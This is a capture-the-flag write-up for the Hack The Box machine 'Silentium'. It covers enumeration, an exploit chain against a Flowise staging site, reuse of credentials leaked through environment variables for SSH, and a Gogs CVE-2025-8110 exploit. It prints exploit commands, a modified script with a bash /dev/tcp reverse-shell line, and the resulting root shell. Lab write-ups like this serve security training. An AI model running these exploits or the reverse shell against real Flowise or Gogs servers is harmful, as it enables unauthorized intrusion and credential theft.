HTB - Silentium⌗

Enumeration:⌗

# Nmap 7.98 scan initiated Sat Apr 18 21:40:07 2026 as: /usr/lib/nmap/nmap --privileged -T4 -A -p - -Pn -vv -oN nmap_tcp silentium.htb
Nmap scan report for silentium.htb (10.129.31.117)
Host is up, received user-set (0.019s latency).
Scanned at 2026-04-18 21:40:07 EDT for 28s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN9Ju3bTZsFozwXY1B2KIlEY4BA+RcNM57w4C5EjOw1QegUUyCJoO4TVOKfzy/9kd3WrPEj/FYKT2agja9/PM44=
|   256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH9qI0OvMyp03dAGXR0UPdxw7hjSwMR773Yb9Sne+7vD
80/tcp open  http    syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD
|_http-title: Silentium | Institutional Capital & Lending Solutions
|_http-favicon: Unknown favicon MD5: 033771DFEF9C64EFA01CAF726E3629A9
|_http-server-header: nginx/1.24.0 (Ubuntu)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.98%E=4%D=4/18%OT=22%CT=1%CU=41934%PV=Y%DS=2%DC=T%G=Y%TM=69E4329
OS:3%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M552ST11NW7%O2=M552ST11NW7%O3=M552NNT11NW7%O4=M552ST11NW7%O5=M552ST1
OS:1NW7%O6=M552ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M552NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Uptime guess: 9.611 days (since Thu Apr  9 07:00:21 2026)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=257 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 256/tcp)
HOP RTT      ADDRESS
1   19.15 ms 10.10.14.1
2   19.42 ms silentium.htb (10.129.31.117)

Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Apr 18 21:40:35 2026 -- 1 IP address (1 host up) scanned in 27.81 seconds

User exploit⌗

Looking at the nmap scan we see port 22 (SSH) and 80 (HTTP) open. Looking at the Web port, we see a pretty simple static website. At the bottom of the page, we do have a few names (Marcus Thorne, Ben and Elena Rossi) that will come in handy later. Let’s use ffuf to look for other subdomains.

$ ffuf -u http://silentium.htb -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.silentium.htb' -fc 301

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://silentium.htb
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.silentium.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 301
________________________________________________

staging                 [Status: 200, Size: 3142, Words: 789, Lines: 70, Duration: 23ms]
:: Progress: [5000/5000] :: Job [1/1] :: 2150 req/sec :: Duration: [0:00:02] :: Errors: 0 ::

We find a staging subdomain that we add to our host file. Opening it in our Web browser reveals a Flowise application, which is a platform to build AI agents. A quick search finds two critical CVEs: one for an unauthenticated account takeover, and one for an authenticated remote code execution. The former exploits a bad password reset mechanism, and the latter the CustomMCP node type. We can conveniently find an exploit chain for both CVEs on GitHub. The only thing missing is a valid user, but fortunately for us, the login form allows for user enumeration. Using the names we found on the initial website, we find a valid user: ben@silentium.htb.

We can now run the exploit to get a shell.

$ nc -nlvp 4444
$ python flowise_chain.py -t http://staging.silentium.htb -e ben@silentium.htb --lhost 10.10.14.208 --lport 4444

# At this point the exploit resets the user's password and asks us to give it the user's API key, which can be found in the API Keys menu after logging in with the new password
# It also asks for our listener's IP and port, even if we gave them in the command for some reason

We get our shell as the root user, but running hostname we see that we are inside a container. Running env leaks a few passwords, one of which (in the SMTP_PASSWORD variable) allows us to log in as ben to the SSH port and get the user flag.

$ env
FLOWISE_PASSWORD=F1l3_d0ck3r
ALLOW_UNAUTHORIZED_CERTS=true
NODE_VERSION=20.19.4
HOSTNAME=c78c3cceb7ba
YARN_VERSION=1.22.22
SMTP_PORT=1025
SHLVL=3
PORT=3000
HOME=/root
SENDER_EMAIL=ben@silentium.htb
PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser
JWT_ISSUER=ISSUER
JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
LLM_PROVIDER=nvidia-nim
SMTP_USERNAME=test
SMTP_SECURE=false
JWT_REFRESH_TOKEN_EXPIRY_IN_MINUTES=43200
FLOWISE_USERNAME=ben
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DATABASE_PATH=/root/.flowise
JWT_TOKEN_EXPIRY_IN_MINUTES=360
JWT_AUDIENCE=AUDIENCE
SECRETKEY_PATH=/root/.flowise
PWD=/
SMTP_PASSWORD=r04D!!_R4ge
NVIDIA_NIM_LLM_MODE=managed
SMTP_HOST=mailhog
JWT_REFRESH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
SMTP_USER=test
$ ssh ben@silentium.htb
$ cat user.txt

Root exploit⌗

Looking at the open ports, we can see a few ports listening only on localhost.

$ ss -naltp
State                    Recv-Q                   Send-Q                                     Local Address:Port                                       Peer Address:Port                   Process
LISTEN                   0                        4096                                           127.0.0.1:34835                                           0.0.0.0:*
LISTEN                   0                        4096                                             0.0.0.0:22                                              0.0.0.0:*
LISTEN                   0                        511                                              0.0.0.0:80                                              0.0.0.0:*
LISTEN                   0                        4096                                       127.0.0.53%lo:53                                              0.0.0.0:*
LISTEN                   0                        4096                                          127.0.0.54:53                                              0.0.0.0:*
LISTEN                   0                        4096                                           127.0.0.1:3001                                            0.0.0.0:*
LISTEN                   0                        4096                                           127.0.0.1:3000                                            0.0.0.0:*
LISTEN                   0                        4096                                           127.0.0.1:1025                                            0.0.0.0:*
LISTEN                   0                        4096                                           127.0.0.1:8025                                            0.0.0.0:*
LISTEN                   0                        4096                                                [::]:22                                                 [::]:*
LISTEN                   0                        511                                                 [::]:80                                                 [::]:*

The one we are interested in is port 3001. Curling it reveals it is a Gogs server, so we forward the port through our SSH session.

Once again, a quick search finds a critical CVE that allows RCE through the internal SSH server implementation. Running the exploit script, we get an error.

$ python CVE-2025-8110.py -u http://localhost:3001/ -lh 10.10.14.208 -lp 4444
Registration failed: 200
[-] Error: Registration failed

After a little bit of debugging, turns out that this happens because CAPTCHAs are implemented on the register page. But no worries, we can simply register the user ourselves, and modify the exploit script so that we skip the registration and pass our credentials to execute the rest of the attack. Let’s try that again.

...
session.verify = False
username = "dax"
password = "Password123!"
command = f"bash -c 'bash -i >& /dev/tcp/{args.host}/{args.port} 0>&1' #"
try:
    # register(session, args.url, username, password)
    login(session, args.url, username, password)
...
$ nc -nlvp 4444
listening on [any] 4444 ...
$ python CVE-2025-8110.py -u http://localhost:3001/ -lh 10.10.14.208 -lp 4444
[+] Authenticated successfully
Token generation status: 200
[+] Application token: 6e9990f5d6f55a90d540d4a38809fcb1319e2292
Repo creation status: 201
Cloning into '/tmp/84fce03af8c5'...
fatal: Password store has not been initialized at '/home/kali/.password-store'; run `pass init <gpg-id>` to initialize the store.
See https://aka.ms/gcm/credstores for more information.
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (3/3), 245 bytes | 245.00 KiB/s, done.
[master ebe4047] Add malicious symlink
 1 file changed, 1 insertion(+)
 create mode 120000 malicious_link
fatal: Password store has not been initialized at '/home/kali/.password-store'; run `pass init <gpg-id>` to initialize the store.
See https://aka.ms/gcm/credstores for more information.
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 6 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 323 bytes | 323.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
To http://localhost:3001/dax/84fce03af8c5.git
   aced47b..ebe4047  master -> master
[+] Exploit sent, check your listener!
[-] Error: HTTPConnectionPool(host='localhost', port=3001): Read timed out. (read timeout=5)

Much better! We get our reverse shell as root, allowing us to get the flag.

connect to [10.10.14.208] from (UNKNOWN) [10.129.31.117] 42620
bash: cannot set terminal process group (1520): Inappropriate ioctl for device
bash: no job control in this shell
$ whoami
root
$ cat /root/root.txt
311780871ec8ca0f034dac9ddc1c60e9

Resources:⌗

HyperlinkInfo
https://github.com/ffuf/ffufffuf
https://github.com/FlowiseAI/FlowiseFlowise
https://github.com/AzureADTrent/CVE-2025-58434-59528CVE-2025-58434 + CVE-2025-59528
https://github.com/gogs/gogsGogs
https://github.com/zAbuQasem/gogs-CVE-2025-8110Gogs CVE-2025-8110 PoC